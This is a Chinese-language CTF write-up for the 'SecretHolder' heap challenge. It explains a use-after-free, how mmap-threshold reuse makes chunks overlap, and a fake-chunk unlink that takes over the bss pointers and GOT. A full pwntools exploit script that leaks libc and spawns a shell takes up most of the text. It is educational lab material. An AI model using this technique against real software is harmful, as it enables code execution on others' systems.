进去给了个网站让我自己下载附件,找半天没找到,最终还是嫖了个现成的。
https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/SecretHolder
看一手保护,PIE没有开,还好,RELRO也没有全开,第一想法可以考虑劫持一手GOT表。
又是菜单题,主程序简单,且有循环。
程序很简单,三个秘密,然后地址跟flag都在bss段上,分别占了八个跟四个字节。
同时calloc函数跟malloc函数一样,申请空间,区别是calloc函数会把申请到得空间都清零。
会发现还是老问题了,free后没有清空指针。
先得说一说关于large bin的事情,简单点说,大小从1024开始的堆块就进入了large bin,所以在这道题中,big secret,huge secret 都可以直接进入large bin,在申请堆块的时候当把其它bin找完之后会在large bin里面找,如果申请的size小于它有的size,就会把一个差不多大小的large chunk切开,一块分给申请,一块放在unsorted中。
详细介绍的话这里有篇大佬的博客。
堆漏洞挖掘:04—bins分类(fastbin、unsorted bin、small bin、large bin)
这道题我们用到的最重要的一种思路是当我们的申请chunk大于mmap的分配阈值(32位是128k,64位是256k)的时候,会直接在memory mapings region的地方去申请,释放。当我们释放之后再次申请,就会申请到堆里面来。顺便说一下32位的mmap区域从高地址向低地址方向生长的。
那么我们这道题的思路就是先申请small,big,然后释放掉,再申请huge,释放掉,再申请回来,就会申请到堆里面。而small,big的指针还在,那么就会形成下图的状态。
那么我们因为可以编写huge,我们就可以在huge里面伪造一些chunk,在big下面伪造使用中的堆块,在big上面伪造一个free的chunk,然后通过free堆块big,从而制造unlink,然后对bss段进行控制,从而达到泄露地址等一系列目的。
我们来一步一步调一下试一试。
先是申请huge
然后释放掉,再申请small,big,释放掉,再把huge申请回来。
heap是我们那个huge,然后存放small,big地址的地方的数据就是指向堆的相应的地方。
然后伪造chunk
然后把big堆块free掉。
然后就可以控制bss那一段了,剩下的就是unlink去解决。
exp
#coding:utf8
from pwn import *
context.log_level = "debug"
r = process('./secret')
elf = ELF('./secret')
huge_secret = 0x6020A8
bss_addr = 0x602090
free_got = elf.got['free']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so")
def new(h_type,content):
r.sendlineafter('3. Renew secret','1')
r.sendlineafter('3. Huge secret',str(h_type))
r.sendlineafter('Tell me your secret:',content)
def delete(h_type):
r.sendlineafter('3. Renew secret','2')
r.sendlineafter('3. Huge secret',str(h_type))
def edit(h_type,content):
r.sendlineafter('3. Renew secret','3')
r.sendlineafter('3. Huge secret',str(h_type))
r.sendafter('Tell me your secret:',content)
new(3,'a'*0x100)
new(1,'b'*0x10)
new(2,'c'*0x100)
delete(1)
delete(2)
delete(3)
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(huge_secret-0x18) + p64(huge_secret-0x10)
payload = fake_chunk.ljust(0x20,'\x00')
payload += p64(0x20) + p64(0x90) + 'c'*0x80 #chunk2
payload += p64(0x90) + p64(0x81) + 'd'*0x70 #chunk3
payload += p64(0) + p64(0x81)
#最后的这个0x81是在检查chunk3是否free状态的时候需要检查下一个chunk的p位是否为1.所以其实0x11,0x1啥的都行。
new(3,payload)
delete(2)
payload = p64(0) * 2 + p64(free_got) + p64(bss_addr) + p64(read_got) + p32(1)*3
edit(3,payload)
edit(2,p64(puts_plt))
delete(1)
r.recvuntil('\n')
read_addr = u64(sh.recvuntil('\n',drop = True).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(read_addr)
print 'system_addr=',hex(system_addr)
edit(2,p64(system_addr))
edit(3,p64(0) * 2 + p64(binsh_addr))
delete(2)
r.interactive()